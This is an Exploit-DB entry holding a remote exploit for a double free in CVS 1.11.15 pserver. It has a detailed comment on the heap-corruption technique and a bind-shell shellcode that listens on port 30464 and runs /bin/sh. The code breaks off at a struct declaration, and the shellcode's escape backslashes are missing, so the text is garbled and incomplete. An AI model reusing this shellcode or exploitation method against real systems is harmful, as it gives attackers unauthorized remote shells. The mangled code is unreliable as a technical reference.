Exploit-DB #392
Description: Remote CVS 1.11.15 - 'error_prog_name' Arbitrary Code Execution
Type: remote
Platform: linux
Date: 2004-08-13
Author: Gyan Chawdhary

Exploit:
/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln. 
* 
* by Gyan Chawdhary, gunnu45@hotmail.com 
* 
* Vulnerability Description: 
* 
* The Vulnerability lies in the serve_argumentx function. The Argumentx 
command 
* parameter is used to append data to a previously supplied Argument 
command. 
* These data pointers are stored in the argument_vector array. The 
* serve_argumentx fails to check wether an Argument command is present in 
the 
* argument_vector and may append data to a pointer that should not get 
* touched at all, in our case the *error_prog_name string. The function 
calls 
* realloc to create space for the new string. Because realloc will be called 
* to store strlen(error_prog_name) + strlen(somedata) the original chunk 
which 
* just stores error_prog_name will get freed. This free chunk will once 
again 
* get freed after we disconnect from the CVS pserver. 
* 
* Theory: 
* 
* Sucessful exploitation depends heavily on a specific heap layout to be 
met. 
* The argument_vector is initialized for holding 3 ptrs. If more space is 
* required it will call realloc. The error_prog_name string resides right 
* after the argument_vector chunk. 
* 
* |11| arg_vector |11| error_prog_name |109| some chunk 
* 
* address of error_prog_name is stored in the argument_vector[0]. 
* 
* To achive sucessfull exploitation the following steps are performed. 
* 
* 1) Send Argumentx command with a large argument to reallocate 
error_prog_name 
* + large command on top of the heap. This will free the original 
* error_prog_name buffer. 
* 
* 2) Send 50 Argument calls which will require the argument_vector array to 
be 
* reallocated freeing the current buffer. We keep this a high number to get 
* mem from the top itself and to make the exploit reliable. As both the 
* original the arg_vector & err_prg_name buffers are free they are 
* consolidated. Also we supply our fake chunk and shellcode in this call. 
* 
* 3) Send an argument command with the size & prevsize as its arguments. 
This 
* will now be stored in arg_vector & err_prg_name consolidated buffer. 
* 
* 4) Once we close the connection free will be called on the error_prog_name 
* string which will read our fake size & prev_size fields pointing to the 
fake 
* chunk , executing our shellcode. 
* 
* Phew !!!! 
* 
* NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work 
on 
* my slack 8.0 cause of glibc 2.2 which creates a very different heap 
layout. 
* Also some tweaking will be required to use this exploit remotely as 
sometimes 
* the overwritten GOT does not execute due to early drop in the connection 
.. 
* Please someone figure it out n mail me :) .. 
* 
* Now the exploit 
* 
* FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL 
* PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR 
* EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL 
PURPOSE * 
* Greets: jp - for his cool paper on advanced malloc exploits, and the 
heapy.so 
* jaguar@felinemenace - We at ... :P 
* 
* cya 
* 
* Gyan 
*/ 

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 

#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 

char shellcode[] = 
"xebx18" 
"AAAAAAAAAAAAAAAAAAAAAAAA" 
"x31xc0" // xorl %eax,%eax 
"x31xdb" // xorl %ebx,%ebx 
"x31xc9" // xorl %ecx,%ecx 
"x31xd2" // xorl %edx,%edx 
"xb0x66" // movb $0x66,%al 
"xb3x01" // movb $0x1,%bl 
"x51" // pushl %ecx 
"xb1x06" // movb $0x6,%cl 
"x51" // pushl %ecx 
"xb1x01" // movb $0x1,%cl 
"x51" // pushl %ecx 
"xb1x02" // movb $0x2,%cl 
"x51" // pushl %ecx 
"x8dx0cx24" // leal (%esp),%ecx 
"xcdx80" // int $0x80 

/* port is 30464 !!! */ 
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */ 
"xb3x02" // movb $0x2,%bl 
"xb1x02" // movb $0x2,%cl 
"x31xc9" // xorl %ecx,%ecx 
"x51" // pushl %ecx 
"x51" // pushl %ecx 
"x51" // pushl %ecx 
/* port = 0x77, change if needed */ 
"x80xc1x77" // addb $0x77,%cl 
"x66x51" // pushl %cx 
"xb1x02" // movb $0x2,%cl 
"x66x51" // pushw %cx 
"x8dx0cx24" // leal (%esp),%ecx 
"xb2x10" // movb $0x10,%dl 
"x52" // pushl %edx 
"x51" // pushl %ecx 
"x50" // pushl %eax 
"x8dx0cx24" // leal (%esp),%ecx 
"x89xc2" // movl %eax,%edx 
"x31xc0" // xorl %eax,%eax 
"xb0x66" // movb $0x66,%al 
"xcdx80" // int $0x80 

/* listen(fd, 1) */ 
"xb3x01" // movb $0x1,%bl 
"x53" // pushl %ebx 
"x52" // pushl %edx 
"x8dx0cx24" // leal (%esp),%ecx 
"x31xc0" // xorl %eax,%eax 
"xb0x66" // movb $0x66,%al 
"x80xc3x03" // addb $0x3,%bl 
"xcdx80" // int $0x80 

/* cli = accept(fd, 0, 0) */ 
"x31xc0" // xorl %eax,%eax 
"x50" // pushl %eax 
"x50" // pushl %eax 
"x52" // pushl %edx 
"x8dx0cx24" // leal (%esp),%ecx 
"xb3x05" // movl $0x5,%bl 
"xb0x66" // movl $0x66,%al 
"xcdx80" // int $0x80 

/* dup2(cli, 0) */ 
"x89xc3" // movl %eax,%ebx 
"x31xc9" // xorl %ecx,%ecx 
"x31xc0" // xorl %eax,%eax 
"xb0x3f" // movb $0x3f,%al 
"xcdx80" // int $0x80 

/* dup2(cli, 1) */ 
"x41" // inc %ecx 
"x31xc0" // xorl %eax,%eax 
"xb0x3f" // movl $0x3f,%al 
"xcdx80" // int $0x80 

/* dup2(cli, 2) */ 
"x41" // inc %ecx 
"x31xc0" // xorl %eax,%eax 
"xb0x3f" // movb $0x3f,%al 
"xcdx80" // int $0x80 

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */ 
"x31xdb" // xorl %ebx,%ebx 
"x53" // pushl %ebx 
"x68x6ex2fx73x68" // pushl $0x68732f6e 
"x68x2fx2fx62x69" // pushl $0x69622f2f 
"x89xe3" // movl %esp,%ebx 
"x8dx54x24x08" // leal 0x8(%esp),%edx 
"x31xc9" // xorl %ecx,%ecx 
"x51" // pushl %ecx 
"x53" // pushl %ebx 
"x8dx0cx24" // leal (%esp),%ecx 
"x31xc0" // xorl %eax,%eax 
"xb0x0b" // movb $0xb,%al 
"xcdx80" // int $0x80 

/* exit(%ebx) */ 
"x31xc0" // xorl %eax,%eax 
"xb0x01" // movb $0x1,%al 
"xcdx80"; // int $0x80 

void login(char *, char *, char *); 

struct           sockaddr_in s;